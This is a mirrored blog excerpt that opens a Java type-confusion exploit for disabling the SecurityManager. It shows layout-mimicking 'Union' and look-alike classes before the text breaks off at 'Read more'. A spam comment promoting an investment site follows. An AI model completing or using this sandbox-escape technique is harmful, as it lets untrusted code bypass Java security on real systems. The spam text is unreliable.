This is a mirror of official site: http://jasper-net.blogspot.com/

How To Disable the Java Security Manager

| Tuesday, August 2, 2011
Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:


import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;


Read more: IKVM.NET Weblog
QR: PermaLink.aspx?guid=4527a953-90d5-4b87-bd93-90f71690142a

Posted via email from Jasper-net

1 comments:

Anonymous said...

Concern Fresh Wind offers a construction investment for different tariff plans. Now , survivors overcame the recent financial crisis, increasingly began to wonder about safe investing their funds . According to conclusions of many of the leading the best analysts, one of the most spheres of investment, is a . It is well known Everyone knows that the construction of less exposed to the risk of falling prices, in addition a given that, construction has always been important and in demand, and will be in demand. Even the economic crisis did not recaptured removed the desire for people to buy their own property. Therefore, investment in construction will always remain relevant and profitable.

Fwit.Biz: [url=https://fwit.biz]how to invest money[/url]